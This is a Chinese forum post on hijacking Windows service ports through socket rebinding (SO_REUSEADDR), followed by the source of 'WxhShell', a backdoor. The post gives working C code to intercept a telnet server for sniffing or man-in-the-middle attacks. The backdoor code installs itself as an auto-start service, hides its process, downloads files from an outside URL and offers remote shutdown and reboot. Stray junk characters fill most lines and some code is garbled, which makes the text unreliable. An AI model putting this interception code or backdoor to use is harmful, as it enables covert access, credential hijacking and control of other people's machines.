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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hb^ovc0   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A9[D.W9>  
cj[%.M5iBA  
  saddr.sin_family = AF_INET; cyL|.2,  
oK"#*n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A v/y  
#\z"k<{*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [E}pU8.t6  
*s2 C+@ef  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1'k,P;s  
=)Goip  
  这意味着什么?意味着可以进行如下的攻击: ZQ_~ L!ot  
dGR #l)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IZ.b  
(51;cj>J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IUh)g1u41O  
n.P $E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j2n 4; m  
3}.OSt'=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y[;Z7p  
X%B2xQM 5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =A"z.KfV  
3);W gh6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8{CBWXo$)  
'sI @e s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pSpxd |k  
HNfd[#gV  
  #include GMob&0l8_  
  #include )f%Q7  
  #include l~*d0E-$  
  #include    Y3'dV)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Vt4,?"  
  int main() 2-"`%rE  
  { w /CD-  
  WORD wVersionRequested; 9v}vCg  
  DWORD ret; |q_Hiap#a  
  WSADATA wsaData; GsE =5A8  
  BOOL val; 6b4]dvl_  
  SOCKADDR_IN saddr; M:K4o%  
  SOCKADDR_IN scaddr; F;Ubdxwwl  
  int err; l-[5Zl;"  
  SOCKET s; @#5?tk0  
  SOCKET sc; -kzg(+sm  
  int caddsize; 3HX-lg`0  
  HANDLE mt; `S=4cSH(  
  DWORD tid;   S'AS,'EnY  
  wVersionRequested = MAKEWORD( 2, 2 ); Vjr}"K$Y  
  err = WSAStartup( wVersionRequested, &wsaData ); '[[*(4 a3  
  if ( err != 0 ) { [8`^_i=#  
  printf("error!WSAStartup failed!\n"); ery{>|k  
  return -1; #w)D ml  
  } xEe3,tb'e  
  saddr.sin_family = AF_INET; 3:!5 ]  
   0a v2w5>af  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z8w@pT  
7!8R)m^1[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BUEV+SZ4  
  saddr.sin_port = htons(23); mDIN%/S'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =$vy_UN  
  { B+=Xb;p8  
  printf("error!socket failed!\n"); \YF'qWB  
  return -1; fu`|@S  
  } th|TwD&mO  
  val = TRUE; ebB8.(k9G3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YR68'Sft[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GG`;c?d@  
  { =xHzhh  
  printf("error!setsockopt failed!\n"); jR,3 -JQ  
  return -1; dv \aP  
  } 'ewVn1ME[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #K[6Ai=We}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VK$s+"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n0'"/zyc  
e&XJK*Wf   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %0Ke4c  
  { T9Pu V  
  ret=GetLastError(); T Z@S?r>^  
  printf("error!bind failed!\n"); Tn\59 (  
  return -1; @>hXh +!2h  
  } >U[YSsFt6  
  listen(s,2); u]QG^1.qYe  
  while(1) JztSP?  
  { o7s<G8;?  
  caddsize = sizeof(scaddr); UL\gcZ Zkl  
  //接受连接请求 Vb8{OD3PK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QU^?a~r  
  if(sc!=INVALID_SOCKET) w<=-n ;2  
  { se]QEd7]7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YH$whJ`W0  
  if(mt==NULL) w,zgYX&  
  { KH76Vts  
  printf("Thread Creat Failed!\n"); +K*_=gHF.  
  break; {FNq&)#`  
  } r*4@S~;  
  } -VRKQNT  
  CloseHandle(mt); $t42?Z=N&z  
  } *6 P)HU@  
  closesocket(s); {(qH8A  
  WSACleanup(); Qx}hiv/  
  return 0; _,]@xFCOH  
  }   3!KEk?I]  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^>!~%Vv7!  
  { ,zH\&D$>u  
  SOCKET ss = (SOCKET)lpParam; N'RUtFqj   
  SOCKET sc; R//S(eU68\  
  unsigned char buf[4096]; &dI;o$t  
  SOCKADDR_IN saddr; nL-kBW Ed>  
  long num; -&_;x&k /  
  DWORD val; +^@6{1  
  DWORD ret; _'DZoOH|VE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \jThbCb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   } {m.\O  
  saddr.sin_family = AF_INET; g|V0[Hnq6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YXjWk),  
  saddr.sin_port = htons(23); ( G#W6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^6I8a"  
  { Q?TXM1Bp  
  printf("error!socket failed!\n"); c,RY j  
  return -1; @c#M^:9Dc  
  } \KPwh]0  
  val = 100; )Aa  h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :s'hXo  
  { H;rLU9b  
  ret = GetLastError(); .< /.(7  
  return -1; 7`Bwo*Y  
  } kv'gs+,e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i$W=5B>SO  
  { >4eZ%</D5  
  ret = GetLastError(); |9cSG),z  
  return -1; /"OJ~e_%  
  } xSoXf0zq:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `tZ`a  
  { /QCyA%y  
  printf("error!socket connect failed!\n"); 2w? 5vSv  
  closesocket(sc); Qp]-4%^Vz  
  closesocket(ss); 1brKs-z  
  return -1; ZRo-=/1  
  } ^5d9n<_xnQ  
  while(1) 1*J#:|({(  
  { `d i/nv)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b9@VD)J0E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \H5{[ZUn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p?zh4:\F+  
  num = recv(ss,buf,4096,0); C1KO]e>  
  if(num>0) o@g/,V $  
  send(sc,buf,num,0); s.G6?1VXlY  
  else if(num==0) jW!)5(B[A  
  break; 1 |zy6  
  num = recv(sc,buf,4096,0); 5uufpvah  
  if(num>0) !2Q>   
  send(ss,buf,num,0); o|0QstSCl  
  else if(num==0) 9F"Q2^l'  
  break; `OmYz{*r  
  } L=WB'*N  
  closesocket(ss); 0al8%z9e@  
  closesocket(sc); GcYT<pwN6  
  return 0 ; ``4lomz>  
  } xg2 &  
M,b^W:('4  
CuD^@  
========================================================== 6 C|]Fm  
\9t6 #8  
下边附上一个代码,,WXhSHELL /i)1BaF  
k|c=O6GO  
========================================================== %[C-KQH  
3V`.<  
#include "stdafx.h" X}gnO83  
4C{3>BE  
#include <stdio.h> !HP/`R  
#include <string.h> P?P))UB5  
#include <windows.h> Ho:X.Z9A^  
#include <winsock2.h> !1\j D  
#include <winsvc.h> DfQD!}=  
#include <urlmon.h> az2CFd^M  
H;O PA8\n  
#pragma comment (lib, "Ws2_32.lib") f:-dw6a=s  
#pragma comment (lib, "urlmon.lib") Ew kZzVuX  
SZ m)`r\A  
#define MAX_USER   100 // 最大客户端连接数 W=k%aB?p  
#define BUF_SOCK   200 // sock buffer ';z5]O~  
#define KEY_BUFF   255 // 输入 buffer -'OO6mU  
H^no&$2`1  
#define REBOOT     0   // 重启 GxIw4m9  
#define SHUTDOWN   1   // 关机  !bi}9w  
9k@`{+wmZ  
#define DEF_PORT   5000 // 监听端口 on q~wEr  
cOr@dUSL  
#define REG_LEN     16   // 注册表键长度 YQ+Kl[ec  
#define SVC_LEN     80   // NT服务名长度 `b{.K,  
$q6'VLPo  
// 从dll定义API =':,oz^|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }@V ,v[&e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }w)`)N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U 0M>A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HjFY >(e  
.{|AHW&0<  
// wxhshell配置信息 !cWnQRIt_F  
struct WSCFG { j>0~"A  
  int ws_port;         // 监听端口 <C'S#5,2  
  char ws_passstr[REG_LEN]; // 口令 Ay Obaa5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3[jk}2R';p  
  char ws_regname[REG_LEN]; // 注册表键名 =!`\=!y  
  char ws_svcname[REG_LEN]; // 服务名 >5jHgs#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [}OL@num  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]3E':JM@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;#$zHR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9$xEktfV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" plY`lqm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *0^t;A+  
=/Dp*  
}; !I? J^0T  
PUN.nt  
// default Wxhshell configuration D=fB&7%@  
struct WSCFG wscfg={DEF_PORT, fV;&)7d&  
    "xuhuanlingzhe", 0P_Y6w+  
    1, QJG]z'c+  
    "Wxhshell", 4D/mm(2d$  
    "Wxhshell", >)N}V'9  
            "WxhShell Service", Lz VvUVk  
    "Wrsky Windows CmdShell Service", _5nQe !  
    "Please Input Your Password: ", "F+Wo&  
  1, "Jp6EL%  
  "http://www.wrsky.com/wxhshell.exe", )pVxp]EI  
  "Wxhshell.exe" \?} {wh8  
    }; a91Q*X%  
/rNY;qXM  
// 消息定义模块 !HXdUAKu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +M\*C#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] 05Q4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1?(mE7H#  
char *msg_ws_ext="\n\rExit."; _e_]$G/TM  
char *msg_ws_end="\n\rQuit."; ?nFT51 t/4  
char *msg_ws_boot="\n\rReboot..."; XU0"f!23x  
char *msg_ws_poff="\n\rShutdown..."; P-~Avb  
char *msg_ws_down="\n\rSave to "; *TuoC5  
azB~>#H~  
char *msg_ws_err="\n\rErr!"; n^/,>7J   
char *msg_ws_ok="\n\rOK!"; ``kKi3TWJ  
r)mm8MI!Z  
char ExeFile[MAX_PATH]; )N-+,Ms  
int nUser = 0; UY **3MK  
HANDLE handles[MAX_USER]; @ %z5]w  
int OsIsNt; l1o dkNf|  
n20H{TA  
SERVICE_STATUS       serviceStatus; IBVP4&}x$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WII_s|YSt%  
0EXAdRR  
// 函数声明 mId{f  
int Install(void); lb1(1 |#  
int Uninstall(void); \Mlj 7.u]  
int DownloadFile(char *sURL, SOCKET wsh); q_f v1U3  
int Boot(int flag); e7L;{+XI  
void HideProc(void); yh5KN_W  
int GetOsVer(void); su=.4JcK  
int Wxhshell(SOCKET wsl); 9GZF39w u  
void TalkWithClient(void *cs); d1j v>tu  
int CmdShell(SOCKET sock); /]xd[^  
int StartFromService(void); j.C C.[$g  
int StartWxhshell(LPSTR lpCmdLine); Yb =8\<;  
Pr<?E[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :B- ,*@EU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [uRsB5  
g{$&j*Q9  
// 数据结构和表定义 q@(N 38D  
SERVICE_TABLE_ENTRY DispatchTable[] = W,agP G\+  
{ PJ Air8  
{wscfg.ws_svcname, NTServiceMain}, }qz58]fyx  
{NULL, NULL} rI]:| k  
}; )KRO=~Y  
q#\eL~k  
// 自我安装 n.l p ena  
int Install(void) d(a6vEL4  
{ Iz{AA-  
  char svExeFile[MAX_PATH]; 72-@!Z0e  
  HKEY key; `hlyN]L  
  strcpy(svExeFile,ExeFile); y+ :<  
cDTDim1F  
// 如果是win9x系统,修改注册表设为自启动 GW $iK@  
if(!OsIsNt) { #8/Z)-G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5o~Z>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EoY#D'[  
  RegCloseKey(key); w#b~R^U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )kUq2 -r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?qK:P  
  RegCloseKey(key); 3!$rp- !<)  
  return 0; ^ O`  
    } 9DtSYd/  
  } 9J]LV'f7  
} G>_ZUHd I  
else { &P {%C5?{  
nj9hRiL n  
// 如果是NT以上系统,安装为系统服务 {{DW P-v4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kD; BwU[  
if (schSCManager!=0) ]c5GG!E-g  
{ r?V|9B`$p  
  SC_HANDLE schService = CreateService mU&J,C  
  ( +vbNZqwz  
  schSCManager, 4t8 Hy  
  wscfg.ws_svcname, n6uobo-  
  wscfg.ws_svcdisp, f:utw T  
  SERVICE_ALL_ACCESS, E_yh9lk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (~#PzE :  
  SERVICE_AUTO_START, zu|pL`X  
  SERVICE_ERROR_NORMAL, sU}e78mh  
  svExeFile, \R#XSW,  
  NULL, i([A8C_A  
  NULL, mA>Pr<aV:  
  NULL, MoF Z  
  NULL, |]]fcJOBP  
  NULL pI^n("|  
  ); WD)[Ac[  
  if (schService!=0) [D?E\Nkk  
  { "iydXV=Q  
  CloseServiceHandle(schService); vMI\$E &  
  CloseServiceHandle(schSCManager); [}AcCXg`L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3?}SXmA'@  
  strcat(svExeFile,wscfg.ws_svcname); '",5Bu#C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0CN .gu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W4|;JmT.r  
  RegCloseKey(key); 0bd.ess  
  return 0; 0 s 4j>  
    } ?D~uR2+Z  
  } 1IsR}uLh  
  CloseServiceHandle(schSCManager); FQ4rA 4  
} )i>KYg w  
} >%[W2L\'  
5y~[2jB:  
return 1; UmJg-~  
} HU'E}8%t6  
><DE1tG  
// 自我卸载 a[JgR/E@x  
int Uninstall(void) P~*fZ)\}F@  
{ #\M<6n{  
  HKEY key; EagI)W!s[  
Fq3;7Cq=hD  
if(!OsIsNt) { lk'RWy"pw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Vv{td  
  RegDeleteValue(key,wscfg.ws_regname); C/$IF M<  
  RegCloseKey(key); L@ay4,e.bz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >pYgF =J  
  RegDeleteValue(key,wscfg.ws_regname); F`N*{at  
  RegCloseKey(key); _8`|KY  
  return 0; 8_ LDS  
  } r#j*vO '  
} &vn9l#\(  
} RU'J!-w{  
else { HvngjP{>  
_1Eyqh`oh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ls5S9R 5  
if (schSCManager!=0) MWuVV=rd8a  
{ "N;|~S)w!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $pKS['J0  
  if (schService!=0) BZBsE :(F  
  { WV% KoM,%  
  if(DeleteService(schService)!=0) { &0"`\~lA  
  CloseServiceHandle(schService); +(<f(]bG  
  CloseServiceHandle(schSCManager); )Qc$UI8L  
  return 0; *Zvw&y*  
  } R}]FIu  
  CloseServiceHandle(schService); K XGs'D  
  } c2U>89LlZ  
  CloseServiceHandle(schSCManager); ZA P+jX;  
} 1Li@O[%X<  
} v$cD!`+k  
;Cy@TzO/|  
return 1; ibq@0CR  
} rx"zqm9 }u  
Gg+>_b{S5T  
// 从指定url下载文件 4M]8po/;  
int DownloadFile(char *sURL, SOCKET wsh) )<|TEp4r-  
{ Q&J,"Vxw  
  HRESULT hr; ^/+sl-6/F  
char seps[]= "/"; g[$B9 0  
char *token; x<l1s  
char *file; Yc$|"to  
char myURL[MAX_PATH]; )0Lq>6j9  
char myFILE[MAX_PATH]; 2Ar<(v$  
0v_8YsZ!`$  
strcpy(myURL,sURL); g DhwJks  
  token=strtok(myURL,seps); ![ QQF|  
  while(token!=NULL) =bDG|:+  
  { gr;M  
    file=token; bm4W,  
  token=strtok(NULL,seps); JVkawkeX  
  } sa`Yan  
S|[UEU3FpB  
GetCurrentDirectory(MAX_PATH,myFILE);  >4\xcL  
strcat(myFILE, "\\"); B'Wky>5)  
strcat(myFILE, file); _=8+_OEk  
  send(wsh,myFILE,strlen(myFILE),0); T)uw2  
send(wsh,"...",3,0); #^ 9;<@M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cC4T3]4l'  
  if(hr==S_OK) )>fi={!=c  
return 0; |(S W  
else 7'|PHQ?S  
return 1; (Y>MsqwWfC  
xR:h^S^W ~  
} (yP55PC O$  
3\{Sf /#  
// 系统电源模块 &Yg/ 08*  
int Boot(int flag) `T70FsSJ  
{ QP#Wfk(C  
  HANDLE hToken; #-;BU{3*  
  TOKEN_PRIVILEGES tkp; D}T, z  
"" U_|JH-  
  if(OsIsNt) { BGX@n#:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }]I?vyQ#V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $<v_Vm?6d  
    tkp.PrivilegeCount = 1; K288&D|1WU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yShHFlO=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0REWbcxd"  
if(flag==REBOOT) { sYXS#;|M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e@OA>  
  return 0; lQ/XJw  
} 'T[zh#v>S  
else { kgz{m;R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  sD8S2  
  return 0; guv@t&;t0  
} 0R& U18)y  
  } z(3"\ ^T  
  else { 8|({ _Z  
if(flag==REBOOT) { vrzX%'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `xUPML-  
  return 0; _ ^{Ep/ME=  
} f[b YjIX  
else { N-gRfra+8L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6<Z: Xw  
  return 0; [fp"MPP3  
} $J6.a!5IE  
} LzRiiP^q  
\#aVu^`eX  
return 1; ?^~"x.<nr  
} ~t={ \,X\  
NJ>p8P`_k  
// win9x进程隐藏模块 ~-5@- V  
void HideProc(void) D,\=zX;  
{ prtxE&-  
%7msAvbk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >|)0Amt  
  if ( hKernel != NULL ) [.X%:H+  
  { FE}!bKh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _m],(J=,z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )\-";?sYky  
    FreeLibrary(hKernel); (L$~ zw5gr  
  } |8 bO5l:  
vC:b?0s#(  
return; AiZFvn[n8  
} A+I&.\QAR  
4_+Pv6  
// 获取操作系统版本 K//T}-Uub  
int GetOsVer(void) -kbm$~P  
{ }4SSo)Uv/  
  OSVERSIONINFO winfo; @@83PJFid  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _wNPA1q0J  
  GetVersionEx(&winfo); b`W*vduf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LUck>l\l  
  return 1; wy {>gvqK  
  else ,g_onfY  
  return 0; 6 ]Oxx{|}  
} d&uTiH?0  
m > (h_j  
// 客户端句柄模块 .dT;T%3fO  
int Wxhshell(SOCKET wsl) xGfD z*t  
{ 87KrSZ  
  SOCKET wsh; {~fCqP.2  
  struct sockaddr_in client; Cc)P5\j h  
  DWORD myID; c1kxKxE  
]<gCq/V#  
  while(nUser<MAX_USER) KC:4  
{  YX`=M  
  int nSize=sizeof(client); *Ca)RgM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JA(fam~{  
  if(wsh==INVALID_SOCKET) return 1; RX5.bVp eE  
UZP6x2:=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _i[)$EgFm  
if(handles[nUser]==0) -'[(Uzj  
  closesocket(wsh); Wi[m`#  
else :z.Y$]F@  
  nUser++; drKjLo[y  
  } 9xn23*Fo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ceZ8} Sh  
UVc<C 1 q  
  return 0; JhCkkw  
} N4 mJU'_{  
+xfW`[.{  
// 关闭 socket l(,;wAH  
void CloseIt(SOCKET wsh) 3;MjO*-  
{ 0^_lj9B!  
closesocket(wsh); l(#ke  
nUser--; tIb21c q  
ExitThread(0); {R-82%X  
} qzA]2'~Q  
0sDwTb"  
// 客户端请求句柄 s)YP%vn#  
void TalkWithClient(void *cs) zLQ#GF  
{ u:$x6/t  
j- YJ."  
  SOCKET wsh=(SOCKET)cs; 96pk[5lj{?  
  char pwd[SVC_LEN]; B>Cs&}Y!  
  char cmd[KEY_BUFF]; eR-=<0Iw;  
char chr[1]; ,.jHV  
int i,j; *Z`XG_s5  
x}&a{;  
  while (nUser < MAX_USER) { Y^6[[vaj2  
H5rPq_R  
if(wscfg.ws_passstr) { ("E!Jyc!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z-SwJtWk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qX{X4b$  
  //ZeroMemory(pwd,KEY_BUFF); p x|>v8  
      i=0; )!k_Gb`#X  
  while(i<SVC_LEN) { a,~D+s;^  
lMwk.#  
  // 设置超时 cRh\USS  
  fd_set FdRead; x(9; !4O>  
  struct timeval TimeOut; =0h|yjnL/  
  FD_ZERO(&FdRead); C NfJ:e2  
  FD_SET(wsh,&FdRead); 6KEykw j  
  TimeOut.tv_sec=8; kqD*TJA  
  TimeOut.tv_usec=0; 3zB|!p C6s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DhLr^Z!h3;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G; C8Kde  
_k_>aG23  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j?\$G.Y  
  pwd=chr[0]; 3J'73)y  
  if(chr[0]==0xd || chr[0]==0xa) { ?aFr8i:)M  
  pwd=0; &_9YLXtMi;  
  break; 7deAr$?Wx  
  } |Bx||=z`  
  i++; eQU-&-wt0  
    } Q`S iV  
V(;55ycr  
  // 如果是非法用户,关闭 socket m7r j>X Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W?qpnPW  
} uw Kh  
VY/|WD~"CW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j-J(C[[9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5^i.;>(b  
,< @,gZru  
while(1) { y]}b?R~p=  
[)#u<lZ<~  
  ZeroMemory(cmd,KEY_BUFF); #puQi  
9ZDVy7m\i-  
      // 自动支持客户端 telnet标准   FZe:co8Mu  
  j=0; *.," N}  
  while(j<KEY_BUFF) { UrO=!Gk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [D3+cDph  
  cmd[j]=chr[0]; bz{^h'  
  if(chr[0]==0xa || chr[0]==0xd) { j)jCu ;`  
  cmd[j]=0; <nDNiM#  
  break; +I|Rk&  
  } XC|*A$x,  
  j++; )v%l0_z{  
    } F:M>z=  
6xH;: B)d  
  // 下载文件 X=v~^8M7%  
  if(strstr(cmd,"http://")) { 5>k>L*5J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )@}A r  
  if(DownloadFile(cmd,wsh)) }m6f^fs}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?gLR<d_  
  else [IiwNqZ[~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h&lyxYZ+T$  
  } X<(6T  
  else { 7MY)\aH  
{7vgHutp  
    switch(cmd[0]) { [6AHaOhR'  
  Ri|k<io  
  // 帮助 M_k`%o  
  case '?': { tY/En-&t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i<%m Iq1L  
    break; C<_ Urnmn  
  } 60"5?=D  
  // 安装 Bk,2WtVX  
  case 'i': { q75ky1^1:  
    if(Install()) (tepmcf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s(teQ\  
    else p-.Ri^p   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NX?}{'f  
    break; *kP;{Cb`  
    } 8tU>DJ}0  
  // 卸载 mge#YV::  
  case 'r': { n_v02vFAHT  
    if(Uninstall()) C(G(^_6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8K_vo2Z)  
    else '|Qd0,Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rfYP*QQY  
    break; /vHYM S  
    } hjkLVL  
  // 显示 wxhshell 所在路径 dUIqDl  
  case 'p': { 8qn 9|  
    char svExeFile[MAX_PATH]; OY:u',T  
    strcpy(svExeFile,"\n\r"); Us'Cs+5XcG  
      strcat(svExeFile,ExeFile); 4S tjj!ew  
        send(wsh,svExeFile,strlen(svExeFile),0); iHPUmTus--  
    break; Z a! gbt  
    } `19qq]  
  // 重启 U_]=E<el  
  case 'b': { yE#g5V&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4sTMgBzw  
    if(Boot(REBOOT)) !x>,N%~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69>/@<   
    else { ymYBm: "  
    closesocket(wsh); :$Q`>k7A  
    ExitThread(0); 1Pm4.C)  
    } 0Z"s_r}h  
    break; jgG$'|s}  
    } u^t$ cLIZ  
  // 关机 c&E]E(  
  case 'd': { g0PT8]8  
